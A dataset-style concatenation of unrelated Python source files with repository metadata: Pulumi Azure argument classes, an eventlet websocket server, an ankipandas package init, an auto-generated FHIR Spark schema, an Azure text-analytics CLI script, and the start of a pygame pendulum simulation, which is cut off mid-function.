pulumi.get(self, "vm_swappiness") @vm_swappiness.setter def vm_swappiness(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "vm_swappiness", value) @property @pulumi.getter(name="vmVfsCachePressure") def vm_vfs_cache_pressure(self) -> Optional[pulumi.Input[int]]: """ Sysctl setting vm.vfs_cache_pressure. """ return pulumi.get(self, "vm_vfs_cache_pressure") @vm_vfs_cache_pressure.setter def vm_vfs_cache_pressure(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "vm_vfs_cache_pressure", value) @pulumi.input_type class TimeInWeekArgs: def __init__(__self__, *, day: Optional[pulumi.Input[Union[str, 'WeekDay']]] = None, hour_slots: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]] = None): """ Time in a week. :param pulumi.Input[Union[str, 'WeekDay']] day: A day in a week. :param pulumi.Input[Sequence[pulumi.Input[int]]] hour_slots: hour slots in a day. """ if day is not None: pulumi.set(__self__, "day", day) if hour_slots is not None: pulumi.set(__self__, "hour_slots", hour_slots) @property @pulumi.getter def day(self) -> Optional[pulumi.Input[Union[str, 'WeekDay']]]: """ A day in a week. """ return pulumi.get(self, "day") @day.setter def day(self, value: Optional[pulumi.Input[Union[str, 'WeekDay']]]): pulumi.set(self, "day", value) @property @pulumi.getter(name="hourSlots") def hour_slots(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]: """ hour slots in a day. """ return pulumi.get(self, "hour_slots") @hour_slots.setter def hour_slots(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[int]]]]): pulumi.set(self, "hour_slots", value) @pulumi.input_type class TimeSpanArgs: def __init__(__self__, *, end: Optional[pulumi.Input[str]] = None, start: Optional[pulumi.Input[str]] = None): """ The time span with start and end properties. :param pulumi.Input[str] end: The end of a time span :param pulumi.Input[str] start: The start of a time span """ if end is not None: pulumi.set(__self__, "end", end) if start is not None: pulumi.set(__self__, "start", start) @property @pulumi.getter def end(self) -> Optional[pulumi.Input[str]]: """ The end of a time span """ return pulumi.get(self, "end") @end.setter def end(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "end", value) @property @pulumi.getter def start(self) -> Optional[pulumi.Input[str]]: """ The start of a time span """ return pulumi.get(self, "start") @start.setter def start(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "start", value) @pulumi.input_type class UserAssignedIdentityArgs: def __init__(__self__, *, client_id: Optional[pulumi.Input[str]] = None, object_id: Optional[pulumi.Input[str]] = None, resource_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] client_id: The client id of the user assigned identity. :param pulumi.Input[str] object_id: The object id of the user assigned identity. :param pulumi.Input[str] resource_id: The resource id of the user assigned identity. """ if client_id is not None: pulumi.set(__self__, "client_id", client_id) if object_id is not None: pulumi.set(__self__, "object_id", object_id) if resource_id is not None: pulumi.set(__self__, "resource_id", resource_id) @property @pulumi.getter(name="clientId") def client_id(self) -> Optional[pulumi.Input[str]]: """ The client id of the user assigned identity. """ return pulumi.get(self, "client_id") @client_id.setter def client_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_id", value) @property @pulumi.getter(name="objectId") def object_id(self) -> Optional[pulumi.Input[str]]: """ The object id of the user assigned identity. """ return pulumi.get(self, "object_id") @object_id.setter def object_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "object_id", value) @property @pulumi.getter(name="resourceId") def resource_id(self) -> Optional[pulumi.Input[str]]: """ The resource id of the user assigned identity. """ return pulumi.get(self, "resource_id") @resource_id.setter def resource_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_id", value)

43.18613

551

0.672328

4a07c8d8e1e39931d599b59717771dd57278d90a

25,108

py

Python

ryu/contrib/_eventlet/websocket.py

umkcdcrg01/ryu_openflow

37ed5b88f7d119344e07c95314a7450235c037a8

[ "Apache-2.0" ]

269

2015-03-08T11:32:45.000Z

2022-03-30T11:18:16.000Z

ryu/contrib/_eventlet/websocket.py

umkcdcrg01/ryu_openflow

37ed5b88f7d119344e07c95314a7450235c037a8

[ "Apache-2.0" ]

2

2018-12-23T13:52:26.000Z

2021-10-31T13:01:43.000Z

ryu/contrib/_eventlet/websocket.py

umkcdcrg01/ryu_openflow

37ed5b88f7d119344e07c95314a7450235c037a8

[ "Apache-2.0" ]

205

2015-01-13T04:52:25.000Z

2022-03-30T13:37:33.000Z

import base64 import codecs import collections import errno from random import Random import string import struct import sys import time from socket import error as SocketError try: from hashlib import md5, sha1 except ImportError: #pragma NO COVER from md5 import md5 from sha import sha as sha1 import eventlet from eventlet import semaphore from eventlet import wsgi from eventlet.green import socket from eventlet.support import get_errno # Python 2's utf8 decoding is more lenient than we'd like # In order to pass autobahn's testsuite we need stricter validation # if available... for _mod in ('wsaccel.utf8validator', 'autobahn.utf8validator'): # autobahn has it's own python-based validator. in newest versions # this prefers to use wsaccel, a cython based implementation, if available. # wsaccel may also be installed w/out autobahn, or with a earlier version. try: utf8validator = __import__(_mod, {}, {}, ['']) except ImportError: utf8validator = None else: break ACCEPTABLE_CLIENT_ERRORS = set((errno.ECONNRESET, errno.EPIPE)) __all__ = ["WebSocketWSGI", "WebSocket"] PROTOCOL_GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11' VALID_CLOSE_STATUS = (range(1000, 1004) + range(1007, 1012) # 3000-3999: reserved for use by libraries, frameworks, # and applications + range(3000, 4000) # 4000-4999: reserved for private use and thus can't # be registered + range(4000, 5000)) class BadRequest(Exception): def __init__(self, status='400 Bad Request', body=None, headers=None): super(Exception, self).__init__() self.status = status self.body = body self.headers = headers class WebSocketWSGI(object): """Wraps a websocket handler function in a WSGI application. Use it like this:: @websocket.WebSocketWSGI def my_handler(ws): from_browser = ws.wait() ws.send("from server") The single argument to the function will be an instance of :class:`WebSocket`. To close the socket, simply return from the function. Note that the server will log the websocket request at the time of closure. """ def __init__(self, handler): self.handler = handler self.protocol_version = None self.support_legacy_versions = True self.supported_protocols = [] self.origin_checker = None @classmethod def configured(cls, handler=None, supported_protocols=None, origin_checker=None, support_legacy_versions=False): def decorator(handler): inst = cls(handler) inst.support_legacy_versions = support_legacy_versions inst.origin_checker = origin_checker if supported_protocols: inst.supported_protocols = supported_protocols return inst if handler is None: return decorator return decorator(handler) def __call__(self, environ, start_response): http_connection_parts = [ part.strip() for part in environ.get('HTTP_CONNECTION', '').lower().split(',')] if not ('upgrade' in http_connection_parts and environ.get('HTTP_UPGRADE', '').lower() == 'websocket'): # need to check a few more things here for true compliance start_response('400 Bad Request', [('Connection', 'close')]) return [] try: if 'HTTP_SEC_WEBSOCKET_VERSION' in environ: ws = self._handle_hybi_request(environ) elif self.support_legacy_versions: ws = self._handle_legacy_request(environ) else: raise BadRequest() except BadRequest as e: status = e.status body = e.body or '' headers = e.headers or [] start_response(status, [('Connection', 'close'), ] + headers) return [body] try: self.handler(ws) except socket.error as e: if get_errno(e) not in ACCEPTABLE_CLIENT_ERRORS: raise # Make sure we send the closing frame ws._send_closing_frame(True) # use this undocumented feature of eventlet.wsgi to ensure that it # doesn't barf on the fact that we didn't call start_response return wsgi.ALREADY_HANDLED def _handle_legacy_request(self, environ): sock = environ['eventlet.input'].get_socket() if 'HTTP_SEC_WEBSOCKET_KEY1' in environ: self.protocol_version = 76 if 'HTTP_SEC_WEBSOCKET_KEY2' not in environ: raise BadRequest() else: self.protocol_version = 75 if self.protocol_version == 76: key1 = self._extract_number(environ['HTTP_SEC_WEBSOCKET_KEY1']) key2 = self._extract_number(environ['HTTP_SEC_WEBSOCKET_KEY2']) # There's no content-length header in the request, but it has 8 # bytes of data. environ['wsgi.input'].content_length = 8 key3 = environ['wsgi.input'].read(8) key = struct.pack(">II", key1, key2) + key3 response = md5(key).digest() # Start building the response scheme = 'ws' if environ.get('wsgi.url_scheme') == 'https': scheme = 'wss' location = '%s://%s%s%s' % ( scheme, environ.get('HTTP_HOST'), environ.get('SCRIPT_NAME'), environ.get('PATH_INFO') ) qs = environ.get('QUERY_STRING') if qs is not None: location += '?' + qs if self.protocol_version == 75: handshake_reply = ("HTTP/1.1 101 Web Socket Protocol Handshake\r\n" "Upgrade: WebSocket\r\n" "Connection: Upgrade\r\n" "WebSocket-Origin: %s\r\n" "WebSocket-Location: %s\r\n\r\n" % ( environ.get('HTTP_ORIGIN'), location)) elif self.protocol_version == 76: handshake_reply = ("HTTP/1.1 101 WebSocket Protocol Handshake\r\n" "Upgrade: WebSocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Origin: %s\r\n" "Sec-WebSocket-Protocol: %s\r\n" "Sec-WebSocket-Location: %s\r\n" "\r\n%s" % ( environ.get('HTTP_ORIGIN'), environ.get('HTTP_SEC_WEBSOCKET_PROTOCOL', 'default'), location, response)) else: #pragma NO COVER raise ValueError("Unknown WebSocket protocol version.") sock.sendall(handshake_reply) return WebSocket(sock, environ, self.protocol_version) def _handle_hybi_request(self, environ): sock = environ['eventlet.input'].get_socket() hybi_version = environ['HTTP_SEC_WEBSOCKET_VERSION'] if hybi_version not in ('8', '13', ): raise BadRequest(status='426 Upgrade Required', headers=[('Sec-WebSocket-Version', '8, 13')]) self.protocol_version = int(hybi_version) if 'HTTP_SEC_WEBSOCKET_KEY' not in environ: # That's bad. raise BadRequest() origin = environ.get( 'HTTP_ORIGIN', (environ.get('HTTP_SEC_WEBSOCKET_ORIGIN', '') if self.protocol_version <= 8 else '')) if self.origin_checker is not None: if not self.origin_checker(environ.get('HTTP_HOST'), origin): raise BadRequest(status='403 Forbidden') protocols = environ.get('HTTP_SEC_WEBSOCKET_PROTOCOL', None) negotiated_protocol = None if protocols: for p in (i.strip() for i in protocols.split(',')): if p in self.supported_protocols: negotiated_protocol = p break #extensions = environ.get('HTTP_SEC_WEBSOCKET_EXTENSIONS', None) #if extensions: # extensions = [i.strip() for i in extensions.split(',')] key = environ['HTTP_SEC_WEBSOCKET_KEY'] response = base64.b64encode(sha1(key + PROTOCOL_GUID).digest()) handshake_reply = ["HTTP/1.1 101 Switching Protocols", "Upgrade: websocket", "Connection: Upgrade", "Sec-WebSocket-Accept: %s" % (response, )] if negotiated_protocol: handshake_reply.append("Sec-WebSocket-Protocol: %s" % (negotiated_protocol, )) sock.sendall('\r\n'.join(handshake_reply) + '\r\n\r\n') return RFC6455WebSocket(sock, environ, self.protocol_version, protocol=negotiated_protocol) def _extract_number(self, value): """ Utility function which, given a string like 'g98sd 5[]221@1', will return 9852211. Used to parse the Sec-WebSocket-Key headers. """ out = "" spaces = 0 for char in value: if char in string.digits: out += char elif char == " ": spaces += 1 return int(out) / spaces class WebSocket(object): """A websocket object that handles the details of serialization/deserialization to the socket. The primary way to interact with a :class:`WebSocket` object is to call :meth:`send` and :meth:`wait` in order to pass messages back and forth with the browser. Also available are the following properties: path The path value of the request. This is the same as the WSGI PATH_INFO variable, but more convenient. protocol The value of the Websocket-Protocol header. origin The value of the 'Origin' header. environ The full WSGI environment for this request. """ def __init__(self, sock, environ, version=76): """ :param socket: The eventlet socket :type socket: :class:`eventlet.greenio.GreenSocket` :param environ: The wsgi environment :param version: The WebSocket spec version to follow (default is 76) """ self.socket = sock self.origin = environ.get('HTTP_ORIGIN') self.protocol = environ.get('HTTP_WEBSOCKET_PROTOCOL') self.path = environ.get('PATH_INFO') self.environ = environ self.version = version self.websocket_closed = False self._buf = "" self._msgs = collections.deque() self._sendlock = semaphore.Semaphore() @staticmethod def _pack_message(message): """Pack the message inside ``00`` and ``FF`` As per the dataframing section (5.3) for the websocket spec """ if isinstance(message, unicode): message = message.encode('utf-8') elif not isinstance(message, str): message = str(message) packed = "\x00%s\xFF" % message return packed def _parse_messages(self): """ Parses for messages in the buffer *buf*. It is assumed that the buffer contains the start character for a message, but that it may contain only part of the rest of the message. Returns an array of messages, and the buffer remainder that didn't contain any full messages.""" msgs = [] end_idx = 0 buf = self._buf while buf: frame_type = ord(buf[0]) if frame_type == 0: # Normal message. end_idx = buf.find("\xFF") if end_idx == -1: #pragma NO COVER break msgs.append(buf[1:end_idx].decode('utf-8', 'replace')) buf = buf[end_idx+1:] elif frame_type == 255: # Closing handshake. assert ord(buf[1]) == 0, "Unexpected closing handshake: %r" % buf self.websocket_closed = True break else: raise ValueError("Don't understand how to parse this type of message: %r" % buf) self._buf = buf return msgs def send(self, message): """Send a message to the browser. *message* should be convertable to a string; unicode objects should be encodable as utf-8. Raises socket.error with errno of 32 (broken pipe) if the socket has already been closed by the client.""" packed = self._pack_message(message) # if two greenthreads are trying to send at the same time # on the same socket, sendlock prevents interleaving and corruption self._sendlock.acquire() try: self.socket.sendall(packed) finally: self._sendlock.release() def wait(self): """Waits for and deserializes messages. Returns a single message; the oldest not yet processed. If the client has already closed the connection, returns None. This is different from normal socket behavior because the empty string is a valid websocket message.""" while not self._msgs: # Websocket might be closed already. if self.websocket_closed: return None # no parsed messages, must mean buf needs more data delta = self.socket.recv(8096) if delta == '': return None self._buf += delta msgs = self._parse_messages() self._msgs.extend(msgs) return self._msgs.popleft() def _send_closing_frame(self, ignore_send_errors=False): """Sends the closing frame to the client, if required.""" if self.version == 76 and not self.websocket_closed: try: self.socket.sendall("\xff\x00") except SocketError: # Sometimes, like when the remote side cuts off the connection, # we don't care about this. if not ignore_send_errors: #pragma NO COVER raise self.websocket_closed = True def close(self): """Forcibly close the websocket; generally it is preferable to return from the handler method.""" self._send_closing_frame() self.socket.shutdown(True) self.socket.close() class ConnectionClosedError(Exception): pass class FailedConnectionError(Exception): def __init__(self, status, message): super(FailedConnectionError, self).__init__(status, message) self.message = message self.status = status class ProtocolError(ValueError): pass class RFC6455WebSocket(WebSocket): def __init__(self, sock, environ, version=13, protocol=None, client=False): super(RFC6455WebSocket, self).__init__(sock, environ, version) self.iterator = self._iter_frames() self.client = client self.protocol = protocol class UTF8Decoder(object): def __init__(self): if utf8validator: self.validator = utf8validator.Utf8Validator() else: self.validator = None decoderclass = codecs.getincrementaldecoder('utf8') self.decoder = decoderclass() def reset(self): if self.validator: self.validator.reset() self.decoder.reset() def decode(self, data, final=False): if self.validator: valid, eocp, c_i, t_i = self.validator.validate(data) if not valid: raise ValueError('Data is not valid unicode') return self.decoder.decode(data, final) def _get_bytes(self, numbytes): data = '' while len(data) < numbytes: d = self.socket.recv(numbytes - len(data)) if not d: raise ConnectionClosedError() data = data + d return data class Message(object): def __init__(self, opcode, decoder=None): self.decoder = decoder self.data = [] self.finished = False self.opcode = opcode def push(self, data, final=False): if self.decoder: data = self.decoder.decode(data, final=final) self.finished = final self.data.append(data) def getvalue(self): return ''.join(self.data) @staticmethod def _apply_mask(data, mask, length=None, offset=0): if length is None: length = len(data) cnt = range(length) return ''.join(chr(ord(data[i]) ^ mask[(offset + i) % 4]) for i in cnt) def _handle_control_frame(self, opcode, data): if opcode == 8: # connection close if not data: status = 1000 elif len(data) > 1: status = struct.unpack_from('!H', data)[0] if not status or status not in VALID_CLOSE_STATUS: raise FailedConnectionError( 1002, "Unexpected close status code.") try: data = self.UTF8Decoder().decode(data[2:], True) except (UnicodeDecodeError, ValueError): raise FailedConnectionError( 1002, "Close message data should be valid UTF-8.") else: status = 1002 self.close(close_data=(status, '')) raise ConnectionClosedError() elif opcode == 9: # ping self.send(data, control_code=0xA) elif opcode == 0xA: # pong pass else: raise FailedConnectionError( 1002, "Unknown control frame received.") def _iter_frames(self): fragmented_message = None try: while True: message = self._recv_frame(message=fragmented_message) if message.opcode & 8: self._handle_control_frame( message.opcode, message.getvalue()) continue if fragmented_message and message is not fragmented_message: raise RuntimeError('Unexpected message change.') fragmented_message = message if message.finished: data = fragmented_message.getvalue() fragmented_message = None yield data except FailedConnectionError: exc_typ, exc_val, exc_tb = sys.exc_info() self.close(close_data=(exc_val.status, exc_val.message)) except ConnectionClosedError: return except Exception: self.close(close_data=(1011, 'Internal Server Error')) raise def _recv_frame(self, message=None): recv = self._get_bytes header = recv(2) a, b = struct.unpack('!BB', header) finished = a >> 7 == 1 rsv123 = a >> 4 & 7 if rsv123: # must be zero raise FailedConnectionError( 1002, "RSV1, RSV2, RSV3: MUST be 0 unless an extension is" " negotiated that defines meanings for non-zero values.") opcode = a & 15 if opcode not in (0, 1, 2, 8, 9, 0xA): raise FailedConnectionError(1002, "Unknown opcode received.") masked = b & 128 == 128 if not masked and not self.client: raise FailedConnectionError(1002, "A client MUST mask all frames" " that it sends to the server") length = b & 127 if opcode & 8: if not finished: raise FailedConnectionError(1002, "Control frames must not" " be fragmented.") if length > 125: raise FailedConnectionError( 1002, "All control frames MUST have a payload length of 125" " bytes or less") elif opcode and message: raise FailedConnectionError( 1002, "Received a non-continuation opcode within" " fragmented message.") elif not opcode and not message: raise FailedConnectionError( 1002, "Received continuation opcode with no previous" " fragments received.") if length == 126: length = struct.unpack('!H', recv(2))[0] elif length == 127: length = struct.unpack('!Q', recv(8))[0] if masked: mask = struct.unpack('!BBBB', recv(4)) received = 0 if not message or opcode & 8: decoder = self.UTF8Decoder() if opcode == 1 else None message = self.Message(opcode, decoder=decoder) if not length: message.push('', final=finished) else: while received < length: d = self.socket.recv(length - received) if not d: raise ConnectionClosedError() dlen = len(d) if masked: d = self._apply_mask(d, mask, length=dlen, offset=received) received = received + dlen try: message.push(d, final=finished) except (UnicodeDecodeError, ValueError): raise FailedConnectionError( 1007, "Text data must be valid utf-8") return message @staticmethod def _pack_message(message, masked=False, continuation=False, final=True, control_code=None): is_text = False if isinstance(message, unicode): message = message.encode('utf-8') is_text = True length = len(message) if not length: # no point masking empty data masked = False if control_code: if control_code not in (8, 9, 0xA): raise ProtocolError('Unknown control opcode.') if continuation or not final: raise ProtocolError('Control frame cannot be a fragment.') if length > 125: raise ProtocolError('Control frame data too large (>125).') header = struct.pack('!B', control_code | 1 << 7) else: opcode = 0 if continuation else (1 if is_text else 2) header = struct.pack('!B', opcode | (1 << 7 if final else 0)) lengthdata = 1 << 7 if masked else 0 if length > 65535: lengthdata = struct.pack('!BQ', lengthdata | 127, length) elif length > 125: lengthdata = struct.pack('!BH', lengthdata | 126, length) else: lengthdata = struct.pack('!B', lengthdata | length) if masked: # NOTE: RFC6455 states: # A server MUST NOT mask any frames that it sends to the client rand = Random(time.time()) mask = map(rand.getrandbits, (8, ) * 4) message = RFC6455WebSocket._apply_mask(message, mask, length) maskdata = struct.pack('!BBBB', *mask) else: maskdata = '' return ''.join((header, lengthdata, maskdata, message)) def wait(self): for i in self.iterator: return i def _send(self, frame): self._sendlock.acquire() try: self.socket.sendall(frame) finally: self._sendlock.release() def send(self, message, **kw): kw['masked'] = self.client payload = self._pack_message(message, **kw) self._send(payload) def _send_closing_frame(self, ignore_send_errors=False, close_data=None): if self.version in (8, 13) and not self.websocket_closed: if close_data is not None: status, msg = close_data if isinstance(msg, unicode): msg = msg.encode('utf-8') data = struct.pack('!H', status) + msg else: data = '' try: self.send(data, control_code=8) except SocketError: # Sometimes, like when the remote side cuts off the connection, # we don't care about this. if not ignore_send_errors: # pragma NO COVER raise self.websocket_closed = True def close(self, close_data=None): """Forcibly close the websocket; generally it is preferable to return from the handler method.""" self._send_closing_frame(close_data=close_data) self.socket.shutdown(socket.SHUT_WR) self.socket.close()

38.216134

109

0.561614

4a07c93eac8c767581676ac9281a379f9bdf0c47

338

py

Python

ankipandas/__init__.py

khonkhortisan/AnkiPandas

44ca736a46b22fb2ffb200cc4f2c3184184ee29d

[ "MIT" ]

1

2020-05-20T18:35:20.000Z

ankipandas/__init__.py

andrewsanchez/AnkiPandas

3f6e2309493b73237b89ddf76561694c940871ca

[ "MIT" ]

null

ankipandas/__init__.py

andrewsanchez/AnkiPandas

3f6e2309493b73237b89ddf76561694c940871ca

[ "MIT" ]

null

#!/usr/bin/env python3 import ankipandas.raw import ankipandas.paths import ankipandas.util import ankipandas.paths import ankipandas.collection from ankipandas.collection import Collection from ankipandas.paths import find_db, db_path_input from ankipandas.ankidf import AnkiDataFrame from ankipandas.util.log import log, set_log_level

28.166667

51

0.857988

4a07c991c88432477757d3982978944d1d0f22c0

8,645

py

Python

spark_fhir_schemas/r4/complex_types/quantity.py

imranq2/SparkFhirSchemas

24debae6980fb520fe55aa199bdfd43c0092eb9c

[ "Apache-2.0" ]

2

2020-10-31T23:25:01.000Z

2021-06-09T14:12:42.000Z

spark_fhir_schemas/r4/complex_types/quantity.py

imranq2/SparkFhirSchemas

24debae6980fb520fe55aa199bdfd43c0092eb9c

[ "Apache-2.0" ]

null

spark_fhir_schemas/r4/complex_types/quantity.py

imranq2/SparkFhirSchemas

24debae6980fb520fe55aa199bdfd43c0092eb9c

[ "Apache-2.0" ]

null

from typing import Union, List, Optional from pyspark.sql.types import StructType, StructField, StringType, ArrayType, DataType # This file is auto-generated by generate_schema so do not edit it manually # noinspection PyPep8Naming class QuantitySchema: """ A measured amount (or an amount that can potentially be measured). Note that measured amounts include amounts that are not precisely quantified, including amounts involving arbitrary units and floating currencies. """ # noinspection PyDefaultArgument @staticmethod def get_schema( max_nesting_depth: Optional[int] = 6, nesting_depth: int = 0, nesting_list: List[str] = [], max_recursion_limit: Optional[int] = 2, include_extension: Optional[bool] = False, extension_fields: Optional[List[str]] = [ "valueBoolean", "valueCode", "valueDate", "valueDateTime", "valueDecimal", "valueId", "valueInteger", "valuePositiveInt", "valueString", "valueTime", "valueUnsignedInt", "valueUri", "valueUrl", ], extension_depth: int = 0, max_extension_depth: Optional[int] = 2, include_modifierExtension: Optional[bool] = False, ) -> Union[StructType, DataType]: """ A measured amount (or an amount that can potentially be measured). Note that measured amounts include amounts that are not precisely quantified, including amounts involving arbitrary units and floating currencies. id: Unique id for the element within a resource (for internal references). This may be any string value that does not contain spaces. extension: May be used to represent additional information that is not part of the basic definition of the element. To make the use of extensions safe and manageable, there is a strict set of governance applied to the definition and use of extensions. Though any implementer can define an extension, there is a set of requirements that SHALL be met as part of the definition of the extension. value: The value of the measured amount. The value includes an implicit precision in the presentation of the value. comparator: How the value should be understood and represented - whether the actual value is greater or less than the stated value due to measurement issues; e.g. if the comparator is "<" , then the real value is < stated value. unit: A human-readable form of the unit. system: The identification of the system that provides the coded form of the unit. code: A computer processable form of the unit in some unit representation system. """ from spark_fhir_schemas.r4.complex_types.extension import ExtensionSchema from spark_fhir_schemas.r4.simple_types.decimal import decimalSchema from spark_fhir_schemas.r4.simple_types.uri import uriSchema from spark_fhir_schemas.r4.simple_types.code import codeSchema if ( max_recursion_limit and nesting_list.count("Quantity") >= max_recursion_limit ) or (max_nesting_depth and nesting_depth >= max_nesting_depth): return StructType([StructField("id", StringType(), True)]) # add my name to recursion list for later my_nesting_list: List[str] = nesting_list + ["Quantity"] schema = StructType( [ # Unique id for the element within a resource (for internal references). This # may be any string value that does not contain spaces. StructField("id", StringType(), True), # May be used to represent additional information that is not part of the basic # definition of the element. To make the use of extensions safe and manageable, # there is a strict set of governance applied to the definition and use of # extensions. Though any implementer can define an extension, there is a set of # requirements that SHALL be met as part of the definition of the extension. StructField( "extension", ArrayType( ExtensionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, ) ), True, ), # The value of the measured amount. The value includes an implicit precision in # the presentation of the value. StructField( "value", decimalSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, ), True, ), # How the value should be understood and represented - whether the actual value # is greater or less than the stated value due to measurement issues; e.g. if # the comparator is "<" , then the real value is < stated value. StructField("comparator", StringType(), True), # A human-readable form of the unit. StructField("unit", StringType(), True), # The identification of the system that provides the coded form of the unit. StructField( "system", uriSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, ), True, ), # A computer processable form of the unit in some unit representation system. StructField( "code", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, ), True, ), ] ) if not include_extension: schema.fields = [ c if c.name != "extension" else StructField("extension", StringType(), True) for c in schema.fields ] if not include_modifierExtension: schema.fields = [ c if c.name != "modifierExtension" else StructField("modifierExtension", StringType(), True) for c in schema.fields ] return schema

46.983696

97

0.575824

4a07c9b4a8081aa1f2c3f5af8cd2748db63dc82a

3,490

py

Python

entities.py

gjwgit/aztext

a3a824fe82402bafe9a7360ec84c00bc90326cde

[ "MIT" ]

null

entities.py

gjwgit/aztext

a3a824fe82402bafe9a7360ec84c00bc90326cde

[ "MIT" ]

1

2019-03-28T00:47:28.000Z

2019-10-08T23:11:38.000Z

entities.py

gjwgit/aztext

a3a824fe82402bafe9a7360ec84c00bc90326cde

[ "MIT" ]

1

2021-05-13T04:42:16.000Z

# -*- coding: utf-8 -*- # # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. # Author: Graham.Williams@microsoft.com # # A command line script to analyze text. # # ml analyze entities <sentence> # # https://docs.microsoft.com/en-us/azure/cognitive-services/text-analytics/ # quickstarts/python-sdk # # ---------------------------------------------------------------------- # Setup # ---------------------------------------------------------------------- # Import the required libraries. import sys import argparse from utils import request_priv_info # pip3 install --upgrade --user azure-cognitiveservices-language-textanalytics from azure.cognitiveservices.language.textanalytics import TextAnalyticsClient from msrest.authentication import CognitiveServicesCredentials # ---------------------------------------------------------------------- # Parse command line arguments # ---------------------------------------------------------------------- option_parser = argparse.ArgumentParser(add_help=False) option_parser.add_argument( 'sentence', nargs="*", help='sentence to analyse') args = option_parser.parse_args() # ---------------------------------------------------------------------- # Request subscription key and endpoint from user. # ---------------------------------------------------------------------- key, endpoint = request_priv_info() credentials = CognitiveServicesCredentials(key) client = TextAnalyticsClient(endpoint=endpoint, credentials=credentials) # ------------------------------------------------------------------------ # Helper function # ------------------------------------------------------------------------ def analyseText(txt): documents = [{'id': '1', 'text': txt}] response = client.detect_language(documents=documents) l = response.documents[0] dl = l.detected_languages[0] lang = dl.iso6391_name documents = [{'id': '1', 'language': lang, 'text': txt}] response = client.entities(documents=documents) for es in response.documents: for e in es.entities: m = e.matches[0] print(f"{e.name},", end="") print(f"{e.type},", end="") if e.sub_type == None: print(",", end="") else: print(f"{e.sub_type},", end="") if m.entity_type_score != None: print(f"{m.entity_type_score:0.2f},", end="") else: print("0.00,", end="") print(f"{m.offset},{m.length},", end="") if m.wikipedia_score == None: print(",,,") else: print(f"{m.wikipedia_score:0.2f},{e.wikipedia_language},{e.wikipedia_id},{e.wikipedia_url}") # ------------------------------------------------------------------------ # Obtain text and analyze. # ------------------------------------------------------------------------ txt = " ".join(args.sentence) if txt != "": analyseText(txt) elif not sys.stdin.isatty(): for txt in sys.stdin.readlines(): analyseText(txt) print() else: print("Enter text to be analysed. Quit with Empty or Ctrl-d.\n") prompt = '> ' try: txt = input(prompt) except EOFError: print() sys.exit(0) while txt != '': analyseText(txt) try: print() txt = input(prompt) except EOFError: print() sys.exit(0)

29.083333

108

0.488252

4a07cad3729bb6d70305250b4bad59c6c3986e8b

5,478

py

Python

runs/rwip12/Pendulum.py

drib861204/Soft-Actor-Critic-and-Extensions

3075df7430c1c49177b3798d753a9e3f6226672e

[ "MIT" ]

null

runs/rwip12/Pendulum.py

drib861204/Soft-Actor-Critic-and-Extensions

3075df7430c1c49177b3798d753a9e3f6226672e

[ "MIT" ]

null

runs/rwip12/Pendulum.py

drib861204/Soft-Actor-Critic-and-Extensions

3075df7430c1c49177b3798d753a9e3f6226672e

[ "MIT" ]

null

""" Title: pendulum_pygame Author: [jadenhensley](https://github.com/jadenhensley) Last modified: 2021/10/18 Description: Pendulum project, built using pygame and math modules. Title: wheelPole Author: [aimetz](https://github.com/aimetz) Last modified: 2021/04/20 Title: gym/gym/envs/classic_control/pendulum.py Author: [openai](https://github.com/openai) Last modified: 2021/10/31 """ import pygame from math import pi, sin, cos import numpy as np class Pendulum: def __init__(self, rend): # paras according to paper [LQR and MPC controller design and comparison for a stationary self-balancing bicycle robot with a reaction wheel] self.theta_rod = 0 self.theta_wheel = 0 self.theta_rod_dot = 0 self.theta_wheel_dot = 0 self.len_rod = 0.5 # 0.25 self.len_wheel = 0.9 # 0.35 self.rad_wheel = 0.1 self.mass_rod = 0.1 # 20.1 self.mass_wheel = 0.05 # 3.7 self.momentum_rod = self.mass_rod*self.len_rod**2/12 self.momentum_wheel = self.mass_wheel*self.rad_wheel**2/2 #depends on wheel shape self.dt = 0.001 self.gravity = 9.8 self.max_speed = 100 self.torque = 0 self.voltage = 0 width = 800 height = 600 self.origin_x = width//2 self.origin_y = height//2 self.POS = np.array([self.origin_x, self.origin_y]) if rend: pygame.init() self.screen = pygame.display.set_mode((width, height)) pygame.display.set_caption("Pendulum Simulation") pygame.font.init() self.debug_font = pygame.font.SysFont('Bauhuas 93', 30) self.hint_font = pygame.font.SysFont('Bauhaus 93', 26) #print("font") def reset(self): roll_range = 20 #in degree self.theta_rod = (np.random.random()*2-1)*roll_range*pi/180 #self.theta_wheel = 0 self.theta_rod_dot = 0 self.theta_wheel_dot = 0 state = np.array([self.theta_rod, self.theta_rod_dot, self.theta_wheel_dot], dtype=np.float32) return state def render(self, eval_run): #torque = action for event in pygame.event.get(): if event.type == pygame.QUIT: 